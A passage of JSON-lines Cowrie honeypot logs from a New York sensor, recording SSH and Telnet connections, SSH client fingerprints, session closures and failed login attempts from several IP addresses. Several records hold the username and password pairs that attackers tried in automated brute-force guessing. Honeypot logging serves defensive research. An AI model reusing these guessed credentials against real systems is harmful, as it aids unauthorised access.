0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:48.811218Z","src_ip":"213.209.159.158","session":"cc086881756f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37298,"dst_ip":"10.17.0.5","dst_port":23,"session":"855a09bb00aa","protocol":"telnet","message":"New connection: 62.210.97.77:37298 (10.17.0.5:23) [session: 855a09bb00aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:49.712430Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56122,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1fb5bd4eae6","protocol":"telnet","message":"New connection: 165.232.131.181:56122 (10.17.0.5:23) [session: c1fb5bd4eae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:51.741287Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37304,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ecd783aee3f","protocol":"telnet","message":"New connection: 62.210.97.77:37304 (10.17.0.5:23) [session: 3ecd783aee3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:52.064654Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37314,"dst_ip":"10.17.0.5","dst_port":23,"session":"323872ec1c95","protocol":"telnet","message":"New connection: 62.210.97.77:37314 (10.17.0.5:23) [session: 323872ec1c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:52.291276Z"}
{"eventid":"cowrie.session.closed","duration":4.24647855758667,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:55.987624Z","src_ip":"165.232.131.181","session":"c1fb5bd4eae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37316,"dst_ip":"10.17.0.5","dst_port":23,"session":"101fa375fd90","protocol":"telnet","message":"New connection: 62.210.97.77:37316 (10.17.0.5:23) [session: 101fa375fd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:57.030943Z"}
{"eventid":"cowrie.session.closed","duration":31.61558246612549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:57.147338Z","src_ip":"62.210.97.77","session":"07f23d7561a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbidc","message":"login attempt [root/vbidc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:58.348730Z","src_ip":"213.209.159.158","session":"cc086881756f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.61196565628052,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:58.876240Z","src_ip":"62.210.97.77","session":"c3465ea10c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.80324363708496,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:32:59.045548Z","src_ip":"65.60.27.33","session":"bb7061a635be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":60714,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6b4ab11b6fa","protocol":"telnet","message":"New connection: 165.232.131.181:60714 (10.17.0.5:23) [session: c6b4ab11b6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:00.061170Z"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:01.539919Z","src_ip":"213.209.159.158","session":"cc086881756f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":22306,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8d6e1c3b4d1","protocol":"ssh","message":"New connection: 213.209.159.158:22306 (10.17.0.5:22) [session: e8d6e1c3b4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:01.620761Z"}
{"eventid":"cowrie.session.closed","duration":44.57633590698242,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:02.063904Z","src_ip":"165.232.131.181","session":"ed36340018d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.02265238761902,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:02.187732Z","src_ip":"62.210.97.77","session":"06e3ab961992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6456449031829834,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:03.706692Z","src_ip":"165.232.131.181","session":"c6b4ab11b6fa","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:04.328177Z","src_ip":"213.209.159.158","session":"e8d6e1c3b4d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:04.334273Z","src_ip":"213.209.159.158","session":"e8d6e1c3b4d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.54068160057068,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:05.461200Z","src_ip":"62.210.97.77","session":"45f57e67999b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51232,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2213d7c7c9","protocol":"telnet","message":"New connection: 62.210.97.77:51232 (10.17.0.5:23) [session: be2213d7c7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:05.862598Z"}
{"eventid":"cowrie.session.closed","duration":45.530428886413574,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:06.721360Z","src_ip":"38.54.119.93","session":"78442d788c92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51248,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce798c16112a","protocol":"telnet","message":"New connection: 62.210.97.77:51248 (10.17.0.5:23) [session: ce798c16112a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:07.059849Z"}
{"eventid":"cowrie.session.closed","duration":120.001216173172,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:09.227885Z","src_ip":"165.232.131.181","session":"8640070fcc24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36852,"dst_ip":"10.17.0.5","dst_port":23,"session":"4826f33e90de","protocol":"telnet","message":"New connection: 165.232.131.181:36852 (10.17.0.5:23) [session: 4826f33e90de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:10.357970Z"}
{"eventid":"cowrie.session.closed","duration":46.51039385795593,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:11.151149Z","src_ip":"65.60.27.33","session":"887325d1e857","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":56618,"dst_ip":"10.17.0.5","dst_port":22,"session":"95a157351ac7","protocol":"ssh","message":"New connection: 187.16.96.250:56618 (10.17.0.5:22) [session: 95a157351ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:11.184095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:11.189565Z","src_ip":"187.16.96.250","session":"95a157351ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.4148964881897,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:11.231591Z","src_ip":"165.232.131.181","session":"d286ccd4052b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:11.310153Z","src_ip":"187.16.96.250","session":"95a157351ac7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.03627872467041,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:11.622711Z","src_ip":"62.210.97.77","session":"7401be5d040f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ2wsx#EDC","message":"login attempt [test/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:11.809470Z","src_ip":"187.16.96.250","session":"95a157351ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59258,"dst_ip":"10.17.0.5","dst_port":23,"session":"a468b7111e81","protocol":"telnet","message":"New connection: 62.210.97.77:59258 (10.17.0.5:23) [session: a468b7111e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:11.993492Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59272,"dst_ip":"10.17.0.5","dst_port":23,"session":"d587a6839740","protocol":"telnet","message":"New connection: 62.210.97.77:59272 (10.17.0.5:23) [session: d587a6839740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:12.594967Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59274,"dst_ip":"10.17.0.5","dst_port":23,"session":"681d8df06cf6","protocol":"telnet","message":"New connection: 62.210.97.77:59274 (10.17.0.5:23) [session: 681d8df06cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:12.610698Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:12.931558Z","src_ip":"187.16.96.250","session":"95a157351ac7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User12345","message":"login attempt [root/User12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:13.605649Z","src_ip":"213.209.159.158","session":"e8d6e1c3b4d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.941447496414185,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:16.623530Z","src_ip":"62.210.97.77","session":"850589abd915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.178685665130615,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:17.134769Z","src_ip":"165.232.131.181","session":"840d38097e06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:17.337026Z","src_ip":"213.209.159.158","session":"e8d6e1c3b4d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30040,"dst_ip":"10.17.0.5","dst_port":22,"session":"207a949d6a45","protocol":"ssh","message":"New connection: 213.209.159.158:30040 (10.17.0.5:22) [session: 207a949d6a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:17.431269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:19.680094Z","src_ip":"213.209.159.158","session":"207a949d6a45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:19.684290Z","src_ip":"213.209.159.158","session":"207a949d6a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":52670,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b86f2be85a5","protocol":"ssh","message":"New connection: 80.94.92.182:52670 (159.203.135.109:22) [session: 1b86f2be85a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:19.774495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:19.954407Z","src_ip":"80.94.92.182","session":"1b86f2be85a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:19.958798Z","src_ip":"80.94.92.182","session":"1b86f2be85a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.08665680885315,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:21.212125Z","src_ip":"65.60.27.33","session":"2b1bd1c72d56","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jibs","password":"jibs","message":"login attempt [jibs/jibs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:21.623948Z","src_ip":"80.94.92.182","session":"1b86f2be85a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.006606340408325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:21.718873Z","src_ip":"62.210.97.77","session":"855a09bb00aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":21761,"dst_ip":"159.203.135.109","dst_port":22,"session":"0684eec4c476","protocol":"ssh","message":"New connection: 89.218.69.66:21761 (159.203.135.109:22) [session: 0684eec4c476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:22.532807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:22.539116Z","src_ip":"89.218.69.66","session":"0684eec4c476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:22.704788Z","src_ip":"89.218.69.66","session":"0684eec4c476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:22.845446Z","src_ip":"80.94.92.182","session":"1b86f2be85a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"112","message":"login attempt [ubuntu/112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:23.399472Z","src_ip":"89.218.69.66","session":"0684eec4c476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42062,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1806a07a256","protocol":"telnet","message":"New connection: 165.232.131.181:42062 (10.17.0.5:23) [session: e1806a07a256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:24.378042Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:24.579800Z","src_ip":"89.218.69.66","session":"0684eec4c476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.4101767539978,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:25.701317Z","src_ip":"62.210.97.77","session":"323872ec1c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.88716697692871,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:28.951690Z","src_ip":"62.210.97.77","session":"3ecd783aee3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.927245616912842,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:29.305159Z","src_ip":"165.232.131.181","session":"e1806a07a256","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentin1","message":"login attempt [root/valentin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:29.861385Z","src_ip":"213.209.159.158","session":"207a949d6a45","protocol":"ssh"}
